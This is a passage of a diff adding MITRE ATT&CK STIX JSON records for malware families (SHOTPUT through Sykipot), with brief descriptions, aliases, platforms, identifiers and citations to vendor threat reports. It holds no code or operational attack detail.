"name": "SHOTPUT", + "description": "[SHOTPUT](https://attack.mitre.org/software/S0063) is a custom backdoor used by [APT3](https://attack.mitre.org/groups/G0022). (Citation: FireEye Clandestine Wolf)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "SHOTPUT", + "Backdoor.APT.CookieCutter", + "Pirpi" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb", + "created": "2017-05-31T21:32:42.754Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0063", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0063" + }, + { + "description": "(Citation: FireEye Clandestine Fox Part 2)", + "source_name": "Backdoor.APT.CookieCutter" + }, + { + "description": "(Citation: FireEye Clandestine Fox Part 2)", + "source_name": "Pirpi" + }, + { + "description": "Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf \u2013 Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.", + "source_name": "FireEye Clandestine Wolf", + "url": "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html" + }, + { + "description": "Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.", + "source_name": "FireEye Clandestine Fox Part 2", + "url": "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html" + } + ] + }, + { + "name": "SHUTTERSPEED", + "description": "[SHUTTERSPEED](https://attack.mitre.org/software/S0217) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "SHUTTERSPEED" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--4189a679-72ed-4a89-a57c-7f689712ecf8", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0217", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0217" + }, + { + "description": "(Citation: FireEye APT37 Feb 2018)", + "source_name": "SHUTTERSPEED" + }, + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ] + }, + { + "name": "SLOWDRIFT", + "description": "[SLOWDRIFT](https://attack.mitre.org/software/S0218) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) against academic and strategic victims in South Korea. (Citation: FireEye APT37 Feb 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "SLOWDRIFT" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--414dc555-c79e-4b24-a2da-9b607f7eaf16", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0218", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0218" + }, + { + "description": "(Citation: FireEye APT37 Feb 2018)", + "source_name": "SLOWDRIFT" + }, + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ] + }, + { + "name": "SNUGRIDE", + "description": "[SNUGRIDE](https://attack.mitre.org/software/S0159) is a backdoor that has been used by [menuPass](https://attack.mitre.org/groups/G0045) as first stage malware. (Citation: FireEye APT10 April 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "SNUGRIDE" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0159", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0159" + }, + { + "description": "(Citation: FireEye APT10 April 2017)", + "source_name": "SNUGRIDE" + }, + { + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "source_name": "FireEye APT10 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ] + }, + { + "name": "SOUNDBITE", + "description": "[SOUNDBITE](https://attack.mitre.org/software/S0157) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "SOUNDBITE" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--9ca488bd-9587-48ef-b923-1743523e63b2", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0157", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0157" + }, + { + "description": "(Citation: FireEye APT32 May 2017)", + "source_name": "SOUNDBITE" + }, + { + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ] + }, + { + "name": "SPACESHIP", + "description": "[SPACESHIP](https://attack.mitre.org/software/S0035) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "SPACESHIP" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--8b880b41-5139-4807-baa9-309690218719", + "created": "2017-05-31T21:32:28.257Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0035", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0035" + }, + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ] + }, + { + "name": "SQLRat", + "description": "[SQLRat](https://attack.mitre.org/software/S0390) is malware that executes SQL scripts to avoid leaving traditional host artifacts. [FIN7](https://attack.mitre.org/groups/G0046) has been observed using it.(Citation: Flashpoint FIN 7 March 2019)", + "id": "malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "SQLRat" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-06-18T18:40:33.671Z", + "modified": "2019-06-30T23:27:21.997Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0390", + "url": "https://attack.mitre.org/software/S0390" + }, + { + "description": "(Citation: Flashpoint FIN 7 March 2019)", + "source_name": "SQLRat" + }, + { + "source_name": "Flashpoint FIN 7 March 2019", + "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.", + "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/ " + } + ] + }, + { + "name": "Sakula", + "description": "[Sakula](https://attack.mitre.org/software/S0074) is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015. (Citation: Dell Sakula)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Sakula", + "Sakurel", + "VIPER" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", + "created": "2017-05-31T21:32:48.482Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0074", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0074" + }, + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", + "source_name": "Dell Sakula", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + } + ] + }, + { + "name": "SamSam", + "description": "[SamSam](https://attack.mitre.org/software/S0370) is ransomware that appeared in early 2016. Unlike some ransomware, its variants have required operators to manually interact with the malware to execute some of its core components.(Citation: US-CERT SamSam 2018)(Citation: Talos SamSam Jan 2018)(Citation: Sophos SamSam Apr 2018)(Citation: Symantec SamSam Oct 2018)", + "id": "malware--4d56e6e9-1a6d-46e3-896c-dfdf3cc96e62", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "SamSam", + "Samas" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-04-15T19:40:07.664Z", + "modified": "2019-04-18T20:59:56.853Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0370", + "url": "https://attack.mitre.org/software/S0370" + }, + { + "description": "(Citation: US-CERT SamSam 2018)", + "source_name": "Samas" + }, + { + "source_name": "US-CERT SamSam 2018", + "description": "US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/AA18-337A" + }, + { + "description": "Ventura, V. (2018, January 22). SamSam - The Evolution Continues Netting Over $325,000 in 4 Weeks. Retrieved April 16, 2019.", + "source_name": "Talos SamSam Jan 2018", + "url": "https://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html" + }, + { + "source_name": "Sophos SamSam Apr 2018", + "description": " Palotay, D. and Mackenzie, P. (2018, April). SamSam Ransomware Chooses Its Targets Carefully. Retrieved April 15, 2019.", + "url": "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-ransomware-chooses-Its-targets-carefully-wpna.pdf" + }, + { + "description": "Symantec Security Response Attack Investigation Team. (2018, October 30). SamSam: Targeted Ransomware Attacks Continue. Retrieved April 16, 2019.", + "source_name": "Symantec SamSam Oct 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/samsam-targeted-ransomware-attacks" + } + ] + }, + { + "name": "SeaDuke", + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with [CozyCar](https://attack.mitre.org/software/S0046). (Citation: F-Secure The Dukes)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "SeaDuke", + "SeaDaddy", + "SeaDesk" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "created": "2017-05-31T21:32:37.767Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0053", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0053" + }, + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ] + }, + { + "name": "Seasalt", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) is malware that has been linked to [APT1](https://attack.mitre.org/groups/G0006)'s 2010 operations. It shares some code similarities with [OceanSalt](https://attack.mitre.org/software/S0346).(Citation: Mandiant APT1 Appendix)(Citation: McAfee Oceansalt Oct 2018)", + "id": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "Seasalt" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-01-30T15:27:06.404Z", + "modified": "2019-02-12T21:28:19.201Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0345", + "url": "https://attack.mitre.org/software/S0345" + }, + { + "description": "(Citation: Mandiant APT1 Appendix)(Citation: McAfee Oceansalt Oct 2018)", + "source_name": "Seasalt" + }, + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + }, + { + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "source_name": "McAfee Oceansalt Oct 2018", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ] + }, + { + "name": "ServHelper", + "description": "[ServHelper](https://attack.mitre.org/software/S0382) is a backdoor first observed in late 2018. The backdoor is written in Delphi and is typically delivered as a DLL file.(Citation: Proofpoint TA505 Jan 2019)", + "id": "malware--aae22730-e571-4d17-b037-65f2a3e26213", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "ServHelper" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-05-29T13:14:38.638Z", + "modified": "2019-06-07T20:33:39.359Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0382", + "url": "https://attack.mitre.org/software/S0382" + }, + { + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "source_name": "Proofpoint TA505 Jan 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + } + ] + }, + { + "name": "Shamoon", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) is wiper malware that was first used by an Iranian group known as the \"Cutting Sword of Justice\" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. [Shamoon](https://attack.mitre.org/software/S0140) has also been seen leveraging [RawDisk](https://attack.mitre.org/software/S0364) to carry out data wiping tasks. The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)", + "id": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Shamoon", + "Disttrack" + ], + "type": "malware", + "x_mitre_version": "2.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-05-31T21:33:20.223Z", + "modified": "2019-04-24T23:59:16.008Z", + "external_references": [ + { + "external_id": "S0140", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0140" + }, + { + "description": "(Citation: Palo Alto Shamoon Nov 2016)", + "source_name": "Disttrack" + }, + { + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "source_name": "Palo Alto Shamoon Nov 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + }, + { + "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", + "source_name": "Unit 42 Shamoon3 2018", + "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/" + }, + { + "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.", + "source_name": "Symantec Shamoon 2012", + "url": "https://www.symantec.com/connect/blogs/shamoon-attacks" + }, + { + "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.", + "source_name": "FireEye Shamoon Nov 2016", + "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html" + } + ] + }, + { + "name": "Skeleton Key", + "description": "[Skeleton Key](https://attack.mitre.org/software/S0007) is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password. (Citation: Dell Skeleton) Functionality similar to [Skeleton Key](https://attack.mitre.org/software/S0007) is included as a module in [Mimikatz](https://attack.mitre.org/software/S0002).", + "id": "malware--89f63ae4-f229-4a5c-95ad-6f22ed2b5c49", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Skeleton Key" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-05-31T21:32:13.407Z", + "modified": "2019-05-03T16:43:36.251Z", + "external_references": [ + { + "external_id": "S0007", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0007" + }, + { + "source_name": "Dell Skeleton", + "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.", + "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis" + } + ] + }, + { + "name": "Smoke Loader", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) is a malicious bot application that can be used to load other malware.\n[Smoke Loader](https://attack.mitre.org/software/S0226) has been seen in the wild since at least 2011 and has included a number of different payloads. It is notorious for its use of deception and self-protection. It also comes with several plug-ins. (Citation: Malwarebytes SmokeLoader 2016) (Citation: Microsoft Dofoil 2018)", + "id": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Smoke Loader", + "Dofoil" + ], + "type": "malware", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2018-04-18T17:59:24.739Z", + "modified": "2019-06-24T19:07:12.385Z", + "external_references": [ + { + "external_id": "S0226", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0226" + }, + { + "description": "(Citation: Malwarebytes SmokeLoader 2016) (Citation: Microsoft Dofoil 2018)", + "source_name": "Smoke Loader" + }, + { + "description": "(Citation: Malwarebytes SmokeLoader 2016) (Citation: Microsoft Dofoil 2018)", + "source_name": "Dofoil" + }, + { + "source_name": "Malwarebytes SmokeLoader 2016", + "description": "Hasherezade. (2016, September 12). Smoke Loader \u2013 downloader with a smokescreen still alive. Retrieved March 20, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/" + }, + { + "description": "Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.", + "source_name": "Microsoft Dofoil 2018", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/" + } + ] + }, + { + "name": "Socksbot", + "description": "[Socksbot](https://attack.mitre.org/software/S0273) is a backdoor that abuses Socket Secure (SOCKS) proxies. (Citation: TrendMicro Patchwork Dec 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "Socksbot" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--e494ad79-37ee-4cd0-866b-299c521d8b94", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0273", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0273" + }, + { + "description": "(Citation: TrendMicro Patchwork Dec 2017)", + "source_name": "Socksbot" + }, + { + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ] + }, + { + "name": "SpeakUp", + "description": "[SpeakUp](https://attack.mitre.org/software/S0374) is a Trojan backdoor that targets both Linux and OSX devices. It was first observed in January 2019. (Citation: CheckPoint SpeakUp Feb 2019)", + "id": "malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "SpeakUp" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-04-17T18:43:36.156Z", + "modified": "2019-04-22T20:29:31.147Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0374", + "url": "https://attack.mitre.org/software/S0374" + }, + { + "source_name": "CheckPoint SpeakUp Feb 2019", + "description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", + "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/" + } + ] + }, + { + "name": "SslMM", + "description": "[SslMM](https://attack.mitre.org/software/S0058) is a full-featured backdoor used by [Naikon](https://attack.mitre.org/groups/G0019) that has multiple variants. (Citation: Baumgartner Naikon 2015)", + "id": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "SslMM" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-05-31T21:32:39.606Z", + "modified": "2019-04-25T02:48:47.401Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0058", + "url": "https://attack.mitre.org/software/S0058" + }, + { + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ] + }, + { + "name": "Starloader", + "description": "[Starloader](https://attack.mitre.org/software/S0188) is a loader component that has been observed loading [Felismus](https://attack.mitre.org/software/S0171) and associated tools. (Citation: Symantec Sowbug Nov 2017)", + "id": "malware--96566860-9f11-4b6f-964d-1c924e4f24a4", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Starloader" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Alan Neville, @abnev" + ], + "created": "2018-01-16T16:13:52.465Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0188", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0188" + }, + { + "description": "(Citation: Symantec Sowbug Nov 2017)", + "source_name": "Starloader" + }, + { + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "source_name": "Symantec Sowbug Nov 2017", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ], + "labels": [ + "malware" + ] + }, + { + "name": "StoneDrill", + "description": "[StoneDrill](https://attack.mitre.org/software/S0380) is wiper malware discovered in destructive campaigns against both Middle Eastern and European targets in association with [APT33](https://attack.mitre.org/groups/G0064).(Citation: FireEye APT33 Sept 2017)(Citation: Kaspersky StoneDrill 2017)", + "id": "malware--8dbadf80-468c-4a62-b817-4e4d8b606887", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "StoneDrill", + "DROPSHOT" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-05-14T15:05:06.630Z", + "modified": "2019-06-07T20:52:36.807Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0380", + "url": "https://attack.mitre.org/software/S0380" + }, + { + "description": "(Citation: Kaspersky StoneDrill 2017)", + "source_name": "StoneDrill" + }, + { + "description": "(Citation: FireEye APT33 Sept 2017)", + "source_name": "DROPSHOT" + }, + { + "source_name": "FireEye APT33 Sept 2017", + "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + }, + { + "source_name": "Kaspersky StoneDrill 2017", + "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf" + } + ] + }, + { + "name": "StreamEx", + "description": "[StreamEx](https://attack.mitre.org/software/S0142) is a malware family that has been used by [Deep Panda](https://attack.mitre.org/groups/G0009) since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites. (Citation: Cylance Shell Crew Feb 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "StreamEx" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86", + "created": "2017-05-31T21:33:21.437Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0142", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0142" + }, + { + "description": "(Citation: Cylance Shell Crew Feb 2017)", + "source_name": "StreamEx" + }, + { + "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.", + "source_name": "Cylance Shell Crew Feb 2017", + "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar" + } + ] + }, + { + "name": "Sykipot", + "description": "[Sykipot](https://attack.mitre.org/software/S0018) is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of 